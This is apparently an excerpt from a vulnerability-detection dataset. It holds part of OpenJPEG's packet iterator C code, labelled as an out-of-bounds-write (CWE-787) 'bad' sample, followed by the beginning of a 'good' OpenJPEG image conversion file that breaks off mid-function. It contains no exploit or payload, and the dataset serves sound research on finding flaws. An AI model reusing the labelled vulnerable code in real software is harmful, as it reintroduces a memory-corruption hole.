l_current_comp->numresolutions; resno++) { l_res->pdx = *(l_encoding_value_ptr++); l_res->pdy = *(l_encoding_value_ptr++); l_res->pw = *(l_encoding_value_ptr++); l_res->ph = *(l_encoding_value_ptr++); ++l_res; } ++l_current_comp; ++l_img_comp; ++l_tccp; } /* special treatment*/ l_current_pi->include = (l_current_pi-1)->include; ++l_current_pi; } opj_free(l_tmp_data); l_tmp_data = 00; opj_free(l_tmp_ptr); l_tmp_ptr = 00; if (l_tcp->POC) { opj_pi_update_decode_poc (l_pi,l_tcp,l_max_prec,l_max_res); } else { opj_pi_update_decode_not_poc(l_pi,l_tcp,l_max_prec,l_max_res); } return l_pi; } opj_pi_iterator_t *opj_pi_initialise_encode(const opj_image_t *p_image, opj_cp_t *p_cp, OPJ_UINT32 p_tile_no, J2K_T2_MODE p_t2_mode ) { /* loop*/ OPJ_UINT32 pino; OPJ_UINT32 compno, resno; /* to store w, h, dx and dy fro all components and resolutions*/ OPJ_UINT32 * l_tmp_data; OPJ_UINT32 ** l_tmp_ptr; /* encoding prameters to set*/ OPJ_UINT32 l_max_res; OPJ_UINT32 l_max_prec; OPJ_INT32 l_tx0,l_tx1,l_ty0,l_ty1; OPJ_UINT32 l_dx_min,l_dy_min; OPJ_UINT32 l_bound; OPJ_UINT32 l_step_p , l_step_c , l_step_r , l_step_l ; OPJ_UINT32 l_data_stride; /* pointers*/ opj_pi_iterator_t *l_pi = 00; opj_tcp_t *l_tcp = 00; const opj_tccp_t *l_tccp = 00; opj_pi_comp_t *l_current_comp = 00; opj_image_comp_t * l_img_comp = 00; opj_pi_iterator_t * l_current_pi = 00; OPJ_UINT32 * l_encoding_value_ptr = 00; /* preconditions in debug*/ assert(p_cp != 00); assert(p_image != 00); assert(p_tile_no < p_cp->tw * p_cp->th); /* initializations*/ l_tcp = &p_cp->tcps[p_tile_no]; l_bound = l_tcp->numpocs+1; l_data_stride = 4 * OPJ_J2K_MAXRLVLS; l_tmp_data = (OPJ_UINT32*)opj_malloc( l_data_stride * p_image->numcomps * sizeof(OPJ_UINT32)); if (! l_tmp_data) { return 00; } l_tmp_ptr = (OPJ_UINT32**)opj_malloc( p_image->numcomps * sizeof(OPJ_UINT32 *)); if (! l_tmp_ptr) { opj_free(l_tmp_data); return 00; } /* memory allocation for pi*/ l_pi = opj_pi_create(p_image,p_cp,p_tile_no); if (!l_pi) { opj_free(l_tmp_data); opj_free(l_tmp_ptr); return 00; } l_encoding_value_ptr = l_tmp_data; /* update pointer array*/ for (compno = 0; compno < p_image->numcomps; ++compno) { l_tmp_ptr[compno] = l_encoding_value_ptr; l_encoding_value_ptr += l_data_stride; } /* get encoding parameters*/ opj_get_all_encoding_parameters(p_image,p_cp,p_tile_no,&l_tx0,&l_tx1,&l_ty0,&l_ty1,&l_dx_min,&l_dy_min,&l_max_prec,&l_max_res,l_tmp_ptr); /* step calculations*/ l_step_p = 1; l_step_c = l_max_prec * l_step_p; l_step_r = p_image->numcomps * l_step_c; l_step_l = l_max_res * l_step_r; /* set values for first packet iterator*/ l_pi->tp_on = (OPJ_BYTE)p_cp->m_specific_param.m_enc.m_tp_on; l_current_pi = l_pi; /* memory allocation for include*/ l_current_pi->include = (OPJ_INT16*) opj_calloc(l_tcp->numlayers * l_step_l, sizeof(OPJ_INT16)); if (!l_current_pi->include) { opj_free(l_tmp_data); opj_free(l_tmp_ptr); opj_pi_destroy(l_pi, l_bound); return 00; } /* special treatment for the first packet iterator*/ l_current_comp = l_current_pi->comps; l_img_comp = p_image->comps; l_tccp = l_tcp->tccps; l_current_pi->tx0 = l_tx0; l_current_pi->ty0 = l_ty0; l_current_pi->tx1 = l_tx1; l_current_pi->ty1 = l_ty1; l_current_pi->dx = l_dx_min; l_current_pi->dy = l_dy_min; l_current_pi->step_p = l_step_p; l_current_pi->step_c = l_step_c; l_current_pi->step_r = l_step_r; l_current_pi->step_l = l_step_l; /* allocation for components and number of components has already been calculated by opj_pi_create */ for (compno = 0; compno < l_current_pi->numcomps; ++compno) { opj_pi_resolution_t *l_res = l_current_comp->resolutions; l_encoding_value_ptr = l_tmp_ptr[compno]; l_current_comp->dx = l_img_comp->dx; l_current_comp->dy = l_img_comp->dy; /* resolutions have already been initialized */ for (resno = 0; resno < l_current_comp->numresolutions; resno++) { l_res->pdx = *(l_encoding_value_ptr++); l_res->pdy = *(l_encoding_value_ptr++); l_res->pw = *(l_encoding_value_ptr++); l_res->ph = *(l_encoding_value_ptr++); ++l_res; } ++l_current_comp; ++l_img_comp; ++l_tccp; } ++l_current_pi; for (pino = 1 ; pino<l_bound ; ++pino ) { l_current_comp = l_current_pi->comps; l_img_comp = p_image->comps; l_tccp = l_tcp->tccps; l_current_pi->tx0 = l_tx0; l_current_pi->ty0 = l_ty0; l_current_pi->tx1 = l_tx1; l_current_pi->ty1 = l_ty1; l_current_pi->dx = l_dx_min; l_current_pi->dy = l_dy_min; l_current_pi->step_p = l_step_p; l_current_pi->step_c = l_step_c; l_current_pi->step_r = l_step_r; l_current_pi->step_l = l_step_l; /* allocation for components and number of components has already been calculated by opj_pi_create */ for (compno = 0; compno < l_current_pi->numcomps; ++compno) { opj_pi_resolution_t *l_res = l_current_comp->resolutions; l_encoding_value_ptr = l_tmp_ptr[compno]; l_current_comp->dx = l_img_comp->dx; l_current_comp->dy = l_img_comp->dy; /* resolutions have already been initialized */ for (resno = 0; resno < l_current_comp->numresolutions; resno++) { l_res->pdx = *(l_encoding_value_ptr++); l_res->pdy = *(l_encoding_value_ptr++); l_res->pw = *(l_encoding_value_ptr++); l_res->ph = *(l_encoding_value_ptr++); ++l_res; } ++l_current_comp; ++l_img_comp; ++l_tccp; } /* special treatment*/ l_current_pi->include = (l_current_pi-1)->include; ++l_current_pi; } opj_free(l_tmp_data); l_tmp_data = 00; opj_free(l_tmp_ptr); l_tmp_ptr = 00; if (l_tcp->POC && (OPJ_IS_CINEMA(p_cp->rsiz) || p_t2_mode == FINAL_PASS)) { opj_pi_update_encode_poc_and_final(p_cp,p_tile_no,l_tx0,l_tx1,l_ty0,l_ty1,l_max_prec,l_max_res,l_dx_min,l_dy_min); } else { opj_pi_update_encode_not_poc(p_cp,p_image->numcomps,p_tile_no,l_tx0,l_tx1,l_ty0,l_ty1,l_max_prec,l_max_res,l_dx_min,l_dy_min); } return l_pi; } void opj_pi_create_encode( opj_pi_iterator_t *pi, opj_cp_t *cp, OPJ_UINT32 tileno, OPJ_UINT32 pino, OPJ_UINT32 tpnum, OPJ_INT32 tppos, J2K_T2_MODE t2_mode) { const OPJ_CHAR *prog; OPJ_INT32 i; OPJ_UINT32 incr_top=1,resetX=0; opj_tcp_t *tcps =&cp->tcps[tileno]; opj_poc_t *tcp= &tcps->pocs[pino]; prog = opj_j2k_convert_progression_order(tcp->prg); pi[pino].first = 1; pi[pino].poc.prg = tcp->prg; if(!(cp->m_specific_param.m_enc.m_tp_on && ((!OPJ_IS_CINEMA(cp->rsiz) && (t2_mode == FINAL_PASS)) || OPJ_IS_CINEMA(cp->rsiz)))){ pi[pino].poc.resno0 = tcp->resS; pi[pino].poc.resno1 = tcp->resE; pi[pino].poc.compno0 = tcp->compS; pi[pino].poc.compno1 = tcp->compE; pi[pino].poc.layno0 = tcp->layS; pi[pino].poc.layno1 = tcp->layE; pi[pino].poc.precno0 = tcp->prcS; pi[pino].poc.precno1 = tcp->prcE; pi[pino].poc.tx0 = (OPJ_INT32)tcp->txS; pi[pino].poc.ty0 = (OPJ_INT32)tcp->tyS; pi[pino].poc.tx1 = (OPJ_INT32)tcp->txE; pi[pino].poc.ty1 = (OPJ_INT32)tcp->tyE; }else { for(i=tppos+1;i<4;i++){ switch(prog[i]){ case 'R': pi[pino].poc.resno0 = tcp->resS; pi[pino].poc.resno1 = tcp->resE; break; case 'C': pi[pino].poc.compno0 = tcp->compS; pi[pino].poc.compno1 = tcp->compE; break; case 'L': pi[pino].poc.layno0 = tcp->layS; pi[pino].poc.layno1 = tcp->layE; break; case 'P': switch(tcp->prg){ case OPJ_LRCP: case OPJ_RLCP: pi[pino].poc.precno0 = tcp->prcS; pi[pino].poc.precno1 = tcp->prcE; break; default: pi[pino].poc.tx0 = (OPJ_INT32)tcp->txS; pi[pino].poc.ty0 = (OPJ_INT32)tcp->tyS; pi[pino].poc.tx1 = (OPJ_INT32)tcp->txE; pi[pino].poc.ty1 = (OPJ_INT32)tcp->tyE; break; } break; } } if(tpnum==0){ for(i=tppos;i>=0;i--){ switch(prog[i]){ case 'C': tcp->comp_t = tcp->compS; pi[pino].poc.compno0 = tcp->comp_t; pi[pino].poc.compno1 = tcp->comp_t+1; tcp->comp_t+=1; break; case 'R': tcp->res_t = tcp->resS; pi[pino].poc.resno0 = tcp->res_t; pi[pino].poc.resno1 = tcp->res_t+1; tcp->res_t+=1; break; case 'L': tcp->lay_t = tcp->layS; pi[pino].poc.layno0 = tcp->lay_t; pi[pino].poc.layno1 = tcp->lay_t+1; tcp->lay_t+=1; break; case 'P': switch(tcp->prg){ case OPJ_LRCP: case OPJ_RLCP: tcp->prc_t = tcp->prcS; pi[pino].poc.precno0 = tcp->prc_t; pi[pino].poc.precno1 = tcp->prc_t+1; tcp->prc_t+=1; break; default: tcp->tx0_t = tcp->txS; tcp->ty0_t = tcp->tyS; pi[pino].poc.tx0 = (OPJ_INT32)tcp->tx0_t; pi[pino].poc.tx1 = (OPJ_INT32)(tcp->tx0_t + tcp->dx - (tcp->tx0_t % tcp->dx)); pi[pino].poc.ty0 = (OPJ_INT32)tcp->ty0_t; pi[pino].poc.ty1 = (OPJ_INT32)(tcp->ty0_t + tcp->dy - (tcp->ty0_t % tcp->dy)); tcp->tx0_t = (OPJ_UINT32)pi[pino].poc.tx1; tcp->ty0_t = (OPJ_UINT32)pi[pino].poc.ty1; break; } break; } } incr_top=1; }else{ for(i=tppos;i>=0;i--){ switch(prog[i]){ case 'C': pi[pino].poc.compno0 = tcp->comp_t-1; pi[pino].poc.compno1 = tcp->comp_t; break; case 'R': pi[pino].poc.resno0 = tcp->res_t-1; pi[pino].poc.resno1 = tcp->res_t; break; case 'L': pi[pino].poc.layno0 = tcp->lay_t-1; pi[pino].poc.layno1 = tcp->lay_t; break; case 'P': switch(tcp->prg){ case OPJ_LRCP: case OPJ_RLCP: pi[pino].poc.precno0 = tcp->prc_t-1; pi[pino].poc.precno1 = tcp->prc_t; break; default: pi[pino].poc.tx0 = (OPJ_INT32)(tcp->tx0_t - tcp->dx - (tcp->tx0_t % tcp->dx)); pi[pino].poc.tx1 = (OPJ_INT32)tcp->tx0_t ; pi[pino].poc.ty0 = (OPJ_INT32)(tcp->ty0_t - tcp->dy - (tcp->ty0_t % tcp->dy)); pi[pino].poc.ty1 = (OPJ_INT32)tcp->ty0_t ; break; } break; } if(incr_top==1){ switch(prog[i]){ case 'R': if(tcp->res_t==tcp->resE){ if(opj_pi_check_next_level(i-1,cp,tileno,pino,prog)){ tcp->res_t = tcp->resS; pi[pino].poc.resno0 = tcp->res_t; pi[pino].poc.resno1 = tcp->res_t+1; tcp->res_t+=1; incr_top=1; }else{ incr_top=0; } }else{ pi[pino].poc.resno0 = tcp->res_t; pi[pino].poc.resno1 = tcp->res_t+1; tcp->res_t+=1; incr_top=0; } break; case 'C': if(tcp->comp_t ==tcp->compE){ if(opj_pi_check_next_level(i-1,cp,tileno,pino,prog)){ tcp->comp_t = tcp->compS; pi[pino].poc.compno0 = tcp->comp_t; pi[pino].poc.compno1 = tcp->comp_t+1; tcp->comp_t+=1; incr_top=1; }else{ incr_top=0; } }else{ pi[pino].poc.compno0 = tcp->comp_t; pi[pino].poc.compno1 = tcp->comp_t+1; tcp->comp_t+=1; incr_top=0; } break; case 'L': if(tcp->lay_t == tcp->layE){ if(opj_pi_check_next_level(i-1,cp,tileno,pino,prog)){ tcp->lay_t = tcp->layS; pi[pino].poc.layno0 = tcp->lay_t; pi[pino].poc.layno1 = tcp->lay_t+1; tcp->lay_t+=1; incr_top=1; }else{ incr_top=0; } }else{ pi[pino].poc.layno0 = tcp->lay_t; pi[pino].poc.layno1 = tcp->lay_t+1; tcp->lay_t+=1; incr_top=0; } break; case 'P': switch(tcp->prg){ case OPJ_LRCP: case OPJ_RLCP: if(tcp->prc_t == tcp->prcE){ if(opj_pi_check_next_level(i-1,cp,tileno,pino,prog)){ tcp->prc_t = tcp->prcS; pi[pino].poc.precno0 = tcp->prc_t; pi[pino].poc.precno1 = tcp->prc_t+1; tcp->prc_t+=1; incr_top=1; }else{ incr_top=0; } }else{ pi[pino].poc.precno0 = tcp->prc_t; pi[pino].poc.precno1 = tcp->prc_t+1; tcp->prc_t+=1; incr_top=0; } break; default: if(tcp->tx0_t >= tcp->txE){ if(tcp->ty0_t >= tcp->tyE){ if(opj_pi_check_next_level(i-1,cp,tileno,pino,prog)){ tcp->ty0_t = tcp->tyS; pi[pino].poc.ty0 = (OPJ_INT32)tcp->ty0_t; pi[pino].poc.ty1 = (OPJ_INT32)(tcp->ty0_t + tcp->dy - (tcp->ty0_t % tcp->dy)); tcp->ty0_t = (OPJ_UINT32)pi[pino].poc.ty1; incr_top=1;resetX=1; }else{ incr_top=0;resetX=0; } }else{ pi[pino].poc.ty0 = (OPJ_INT32)tcp->ty0_t; pi[pino].poc.ty1 = (OPJ_INT32)(tcp->ty0_t + tcp->dy - (tcp->ty0_t % tcp->dy)); tcp->ty0_t = (OPJ_UINT32)pi[pino].poc.ty1; incr_top=0;resetX=1; } if(resetX==1){ tcp->tx0_t = tcp->txS; pi[pino].poc.tx0 = (OPJ_INT32)tcp->tx0_t; pi[pino].poc.tx1 = (OPJ_INT32)(tcp->tx0_t + tcp->dx- (tcp->tx0_t % tcp->dx)); tcp->tx0_t = (OPJ_UINT32)pi[pino].poc.tx1; } }else{ pi[pino].poc.tx0 = (OPJ_INT32)tcp->tx0_t; pi[pino].poc.tx1 = (OPJ_INT32)(tcp->tx0_t + tcp->dx- (tcp->tx0_t % tcp->dx)); tcp->tx0_t = (OPJ_UINT32)pi[pino].poc.tx1; incr_top=0; } break; } break; } } } } } } void opj_pi_destroy(opj_pi_iterator_t *p_pi, OPJ_UINT32 p_nb_elements) { OPJ_UINT32 compno, pino; opj_pi_iterator_t *l_current_pi = p_pi; if (p_pi) { if (p_pi->include) { opj_free(p_pi->include); p_pi->include = 00; } for (pino = 0; pino < p_nb_elements; ++pino){ if(l_current_pi->comps) { opj_pi_comp_t *l_current_component = l_current_pi->comps; for (compno = 0; compno < l_current_pi->numcomps; compno++){ if(l_current_component->resolutions) { opj_free(l_current_component->resolutions); l_current_component->resolutions = 00; } ++l_current_component; } opj_free(l_current_pi->comps); l_current_pi->comps = 0; } ++l_current_pi; } opj_free(p_pi); } } void opj_pi_update_encoding_parameters( const opj_image_t *p_image, opj_cp_t *p_cp, OPJ_UINT32 p_tile_no ) { /* encoding parameters to set */ OPJ_UINT32 l_max_res; OPJ_UINT32 l_max_prec; OPJ_INT32 l_tx0,l_tx1,l_ty0,l_ty1; OPJ_UINT32 l_dx_min,l_dy_min; /* pointers */ opj_tcp_t *l_tcp = 00; /* preconditions */ assert(p_cp != 00); assert(p_image != 00); assert(p_tile_no < p_cp->tw * p_cp->th); l_tcp = &(p_cp->tcps[p_tile_no]); /* get encoding parameters */ opj_get_encoding_parameters(p_image,p_cp,p_tile_no,&l_tx0,&l_tx1,&l_ty0,&l_ty1,&l_dx_min,&l_dy_min,&l_max_prec,&l_max_res); if (l_tcp->POC) { opj_pi_update_encode_poc_and_final(p_cp,p_tile_no,l_tx0,l_tx1,l_ty0,l_ty1,l_max_prec,l_max_res,l_dx_min,l_dy_min); } else { opj_pi_update_encode_not_poc(p_cp,p_image->numcomps,p_tile_no,l_tx0,l_tx1,l_ty0,l_ty1,l_max_prec,l_max_res,l_dx_min,l_dy_min); } } OPJ_BOOL opj_pi_next(opj_pi_iterator_t * pi) { switch (pi->poc.prg) { case OPJ_LRCP: return opj_pi_next_lrcp(pi); case OPJ_RLCP: return opj_pi_next_rlcp(pi); case OPJ_RPCL: return opj_pi_next_rpcl(pi); case OPJ_PCRL: return opj_pi_next_pcrl(pi); case OPJ_CPRL: return opj_pi_next_cprl(pi); case OPJ_PROG_UNKNOWN: return OPJ_FALSE; } return OPJ_FALSE; }
./CrossVul/dataset_final_sorted/CWE-787/c/bad_5273_0
crossvul-cpp_data_good_2759_0
/* * The copyright in this software is being made available under the 2-clauses * BSD License, included below. This software may be subject to other third * party and contributor rights, including patent rights, and no such rights * are granted under this license. * * Copyright (c) 2002-2014, Universite catholique de Louvain (UCL), Belgium * Copyright (c) 2002-2014, Professor Benoit Macq * Copyright (c) 2001-2003, David Janssens * Copyright (c) 2002-2003, Yannick Verschueren * Copyright (c) 2003-2007, Francois-Olivier Devaux * Copyright (c) 2003-2014, Antonin Descampe * Copyright (c) 2005, Herve Drolon, FreeImage Team * Copyright (c) 2006-2007, Parvatha Elangovan * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS `AS IS' * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. */ #include "opj_apps_config.h" #include <stdio.h> #include <stdlib.h> #include <string.h> #include <ctype.h> #include <limits.h> #include "openjpeg.h" #include "convert.h" /* * Get logarithm of an integer and round downwards. * * log2(a) */ static int int_floorlog2(int a) { int l; for (l = 0; a > 1; l++) { a >>= 1; } return l; } /* Component precision scaling */ void clip_component(opj_image_comp_t* component, OPJ_UINT32 precision) { OPJ_SIZE_T i; OPJ_SIZE_T len; OPJ_UINT32 umax = (OPJ_UINT32)((OPJ_INT32) - 1); len = (OPJ_SIZE_T)component->w * (OPJ_SIZE_T)component->h; if (precision < 32) { umax = (1U << precision) - 1U; } if (component->sgnd) { OPJ_INT32* l_data = component->data; OPJ_INT32 max = (OPJ_INT32)(umax / 2U); OPJ_INT32 min = -max - 1; for (i = 0; i < len; ++i) { if (l_data[i] > max) { l_data[i] = max; } else if (l_data[i] < min) { l_data[i] = min; } } } else { OPJ_UINT32* l_data = (OPJ_UINT32*)component->data; for (i = 0; i < len; ++i) { if (l_data[i] > umax) { l_data[i] = umax; } } } component->prec = precision; } /* Component precision scaling */ static void scale_component_up(opj_image_comp_t* component, OPJ_UINT32 precision) { OPJ_SIZE_T i, len; len = (OPJ_SIZE_T)component->w * (OPJ_SIZE_T)component->h; if (component->sgnd) { OPJ_INT64 newMax = (OPJ_INT64)(1U << (precision - 1)); OPJ_INT64 oldMax = (OPJ_INT64)(1U << (component->prec - 1)); OPJ_INT32* l_data = component->data; for (i = 0; i < len; ++i) { l_data[i] = (OPJ_INT32)(((OPJ_INT64)l_data[i] * newMax) / oldMax); } } else { OPJ_UINT64 newMax = (OPJ_UINT64)((1U << precision) - 1U); OPJ_UINT64 oldMax = (OPJ_UINT64)((1U << component->prec) - 1U); OPJ_UINT32* l_data = (OPJ_UINT32*)component->data; for (i = 0; i < len; ++i) { l_data[i] = (OPJ_UINT32)(((OPJ_UINT64)l_data[i] * newMax) / oldMax); } } component->prec = precision; component->bpp = precision; } void scale_component(opj_image_comp_t* component, OPJ_UINT32 precision) { int shift; OPJ_SIZE_T i, len; if (component->prec == precision) { return; } if (component->prec < precision) { scale_component_up(component, precision); return; } shift = (int)(component->prec - precision); len = (OPJ_SIZE_T)component->w * (OPJ_SIZE_T)component->h; if (component->sgnd) { OPJ_INT32* l_data = component->data; for (i = 0; i < len; ++i) { l_data[i] >>= shift; } } else { OPJ_UINT32* l_data = (OPJ_UINT32*)component->data; for (i = 0; i < len; ++i) { l_data[i] >>= shift; } } component->bpp = precision; component->prec = precision; } /* planar / interleaved conversions */ /* used by PNG/TIFF */ static void convert_32s_C1P1(const OPJ_INT32* pSrc, OPJ_INT32* const* pDst, OPJ_SIZE_T length) { memcpy(pDst[0], pSrc, length * sizeof(OPJ_INT32)); } static void convert_32s_C2P2(const OPJ_INT32* pSrc, OPJ_INT32* const* pDst, OPJ_SIZE_T length) { OPJ_SIZE_T i; OPJ_INT32* pDst0 = pDst[0]; OPJ_INT32* pDst1 = pDst[1]; for (i = 0; i < length; i++) { pDst0[i] = pSrc[2 * i + 0]; pDst1[i] = pSrc[2 * i + 1]; } } static void convert_32s_C3P3(const OPJ_INT32* pSrc, OPJ_INT32* const* pDst, OPJ_SIZE_T length) { OPJ_SIZE_T i; OPJ_INT32* pDst0 = pDst[0]; OPJ_INT32* pDst1 = pDst[1]; OPJ_INT32* pDst2 = pDst[2]; for (i = 0; i < length; i++) { pDst0[i] = pSrc[3 * i + 0]; pDst1[i] = pSrc[3 * i + 1]; pDst2[i] = pSrc[3 * i + 2]; } } static void convert_32s_C4P4(const OPJ_INT32* pSrc, OPJ_INT32* const* pDst, OPJ_SIZE_T length) { OPJ_SIZE_T i; OPJ_INT32* pDst0 = pDst[0]; OPJ_INT32* pDst1 = pDst[1]; OPJ_INT32* pDst2 = pDst[2]; OPJ_INT32* pDst3 = pDst[3]; for (i = 0; i < length; i++) { pDst0[i] = pSrc[4 * i + 0]; pDst1[i] = pSrc[4 * i + 1]; pDst2[i] = pSrc[4 * i + 2]; pDst3[i] = pSrc[4 * i + 3]; } } const convert_32s_CXPX convert_32s_CXPX_LUT[5] = { NULL, convert_32s_C1P1, convert_32s_C2P2, convert_32s_C3P3, convert_32s_C4P4 }; static void convert_32s_P1C1(OPJ_INT32 const* const* pSrc, OPJ_INT32* pDst, OPJ_SIZE_T length, OPJ_INT32 adjust) { OPJ_SIZE_T i; const OPJ_INT32* pSrc0 = pSrc[0]; for (i = 0; i < length; i++) { pDst[i] = pSrc0[i] + adjust; } } static void convert_32s_P2C2(OPJ_INT32 const* const* pSrc, OPJ_INT32* pDst, OPJ_SIZE_T length, OPJ_INT32 adjust) { OPJ_SIZE_T i; const OPJ_INT32* pSrc0 = pSrc[0]; const OPJ_INT32* pSrc1 = pSrc[1]; for (i = 0; i < length; i++) { pDst[2 * i + 0] = pSrc0[i] + adjust; pDst[2 * i + 1] = pSrc1[i] + adjust; } } static void convert_32s_P3C3(OPJ_INT32 const* const* pSrc, OPJ_INT32* pDst, OPJ_SIZE_T length, OPJ_INT32 adjust) { OPJ_SIZE_T i; const OPJ_INT32* pSrc0 = pSrc[0]; const OPJ_INT32* pSrc1 = pSrc[1]; const OPJ_INT32* pSrc2 = pSrc[2]; for (i = 0; i < length; i++) { pDst[3 * i + 0] = pSrc0[i] + adjust; pDst[3 * i + 1] = pSrc1[i] + adjust; pDst[3 * i + 2] = pSrc2[i] + adjust; } } static void convert_32s_P4C4(OPJ_INT32 const* const* pSrc, OPJ_INT32* pDst, OPJ_SIZE_T length, OPJ_INT32 adjust) { OPJ_SIZE_T i; const OPJ_INT32* pSrc0 = pSrc[0]; const OPJ_INT32* pSrc1 = pSrc[1]; const OPJ_INT32* pSrc2 = pSrc[2]; const OPJ_INT32* pSrc3 = pSrc[3]; for (i = 0; i < length; i++) { pDst[4 * i + 0] = pSrc0[i] + adjust; pDst[4 * i + 1] = pSrc1[i] + adjust; pDst[4 * i + 2] = pSrc2[i] + adjust; pDst[4 * i + 3] = pSrc3[i] + adjust; } } const convert_32s_PXCX convert_32s_PXCX_LUT[5] = { NULL, convert_32s_P1C1, convert_32s_P2C2, convert_32s_P3C3, convert_32s_P4C4 }; /* bit depth conversions */ /* used by PNG/TIFF up to 8bpp */ static void convert_1u32s_C1R(const OPJ_BYTE* pSrc, OPJ_INT32* pDst, OPJ_SIZE_T length) { OPJ_SIZE_T i; for (i = 0; i < (length & ~(OPJ_SIZE_T)7U); i += 8U) { OPJ_UINT32 val = *pSrc++; pDst[i + 0] = (OPJ_INT32)(val >> 7); pDst[i + 1] = (OPJ_INT32)((val >> 6) & 0x1U); pDst[i + 2] = (OPJ_INT32)((val >> 5) & 0x1U); pDst[i + 3] = (OPJ_INT32)((val >> 4) & 0x1U); pDst[i + 4] = (OPJ_INT32)((val >> 3) & 0x1U); pDst[i + 5] = (OPJ_INT32)((val >> 2) & 0x1U); pDst[i + 6] = (OPJ_INT32)((val >> 1) & 0x1U); pDst[i + 7] = (OPJ_INT32)(val & 0x1U); } if (length & 7U) { OPJ_UINT32 val = *pSrc++; length = length & 7U; pDst[i + 0] = (OPJ_INT32)(val >> 7); if (length > 1U) { pDst[i + 1] = (OPJ_INT32)((val >> 6) & 0x1U); if (length > 2U) { pDst[i + 2] = (OPJ_INT32)((val >> 5) & 0x1U); if (length > 3U) { pDst[i + 3] = (OPJ_INT32)((val >> 4) & 0x1U); if (length > 4U) { pDst[i + 4] = (OPJ_INT32)((val >> 3) & 0x1U); if (length > 5U) { pDst[i + 5] = (OPJ_INT32)((val >> 2) & 0x1U); if (length > 6U) { pDst[i + 6] = (OPJ_INT32)((val >> 1) & 0x1U); } } } } } } } } static void convert_2u32s_C1R(const OPJ_BYTE* pSrc, OPJ_INT32* pDst, OPJ_SIZE_T length) { OPJ_SIZE_T i; for (i = 0; i < (length & ~(OPJ_SIZE_T)3U); i += 4U) { OPJ_UINT32 val = *pSrc++; pDst[i + 0] = (OPJ_INT32)(val >> 6); pDst[i + 1] = (OPJ_INT32)((val >> 4) & 0x3U); pDst[i + 2] = (OPJ_INT32)((val >> 2) & 0x3U); pDst[i + 3] = (OPJ_INT32)(val & 0x3U); } if (length & 3U) { OPJ_UINT32 val = *pSrc++; length = length & 3U; pDst[i + 0] = (OPJ_INT32)(val >> 6); if (length > 1U) { pDst[i + 1] = (OPJ_INT32)((val >> 4) & 0x3U); if (length > 2U) { pDst[i + 2] = (OPJ_INT32)((val >> 2) & 0x3U); } } } } static void convert_4u32s_C1R(const OPJ_BYTE* pSrc, OPJ_INT32* pDst, OPJ_SIZE_T length) { OPJ_SIZE_T i; for (i = 0; i < (length & ~(OPJ_SIZE_T)1U); i += 2U) { OPJ_UINT32 val = *pSrc++; pDst[i + 0] = (OPJ_INT32)(val >> 4); pDst[i + 1] = (OPJ_INT32)(val & 0xFU); } if (length & 1U) { OPJ_UINT8 val = *pSrc++; pDst[i + 0] = (OPJ_INT32)(val >> 4); } } static void convert_6u32s_C1R(const OPJ_BYTE* pSrc, OPJ_INT32* pDst, OPJ_SIZE_T length) { OPJ_SIZE_T i; for (i = 0; i < (length & ~(OPJ_SIZE_T)3U); i += 4U) { OPJ_UINT32 val0 = *pSrc++; OPJ_UINT32 val1 = *pSrc++; OPJ_UINT32 val2 = *pSrc++; pDst[i + 0] = (OPJ_INT32)(val0 >> 2); pDst[i + 1] = (OPJ_INT32)(((val0 & 0x3U) << 4) | (val1 >> 4)); pDst[i + 2] = (OPJ_INT32)(((val1 & 0xFU) << 2) | (val2 >> 6)); pDst[i + 3] = (OPJ_INT32)(val2 & 0x3FU); } if (length & 3U) { OPJ_UINT32 val0 = *pSrc++; length = length & 3U; pDst[i + 0] = (OPJ_INT32)(val0 >> 2); if (length > 1U) { OPJ_UINT32 val1 = *pSrc++; pDst[i + 1] = (OPJ_INT32)(((val0 & 0x3U) << 4) | (val1 >> 4)); if (length > 2U) { OPJ_UINT32 val2 = *pSrc++; pDst[i + 2] = (OPJ_INT32)(((val1 & 0xFU) << 2) | (val2 >> 6)); } } } } static void convert_8u32s_C1R(const OPJ_BYTE* pSrc, OPJ_INT32* pDst, OPJ_SIZE_T length) { OPJ_SIZE_T i; for (i = 0; i < length; i++) { pDst[i] = pSrc[i]; } } const convert_XXx32s_C1R convert_XXu32s_C1R_LUT[9] = { NULL, convert_1u32s_C1R, convert_2u32s_C1R, NULL, convert_4u32s_C1R, NULL, convert_6u32s_C1R, NULL, convert_8u32s_C1R }; static void convert_32s1u_C1R(const OPJ_INT32* pSrc, OPJ_BYTE* pDst, OPJ_SIZE_T length) { OPJ_SIZE_T i; for (i = 0; i < (length & ~(OPJ_SIZE_T)7U); i += 8U) { OPJ_UINT32 src0 = (OPJ_UINT32)pSrc[i + 0]; OPJ_UINT32 src1 = (OPJ_UINT32)pSrc[i + 1]; OPJ_UINT32 src2 = (OPJ_UINT32)pSrc[i + 2]; OPJ_UINT32 src3 = (OPJ_UINT32)pSrc[i + 3]; OPJ_UINT32 src4 = (OPJ_UINT32)pSrc[i + 4]; OPJ_UINT32 src5 = (OPJ_UINT32)pSrc[i + 5]; OPJ_UINT32 src6 = (OPJ_UINT32)pSrc[i + 6]; OPJ_UINT32 src7 = (OPJ_UINT32)pSrc[i + 7]; *pDst++ = (OPJ_BYTE)((src0 << 7) | (src1 << 6) | (src2 << 5) | (src3 << 4) | (src4 << 3) | (src5 << 2) | (src6 << 1) | src7); } if (length & 7U) { OPJ_UINT32 src0 = (OPJ_UINT32)pSrc[i + 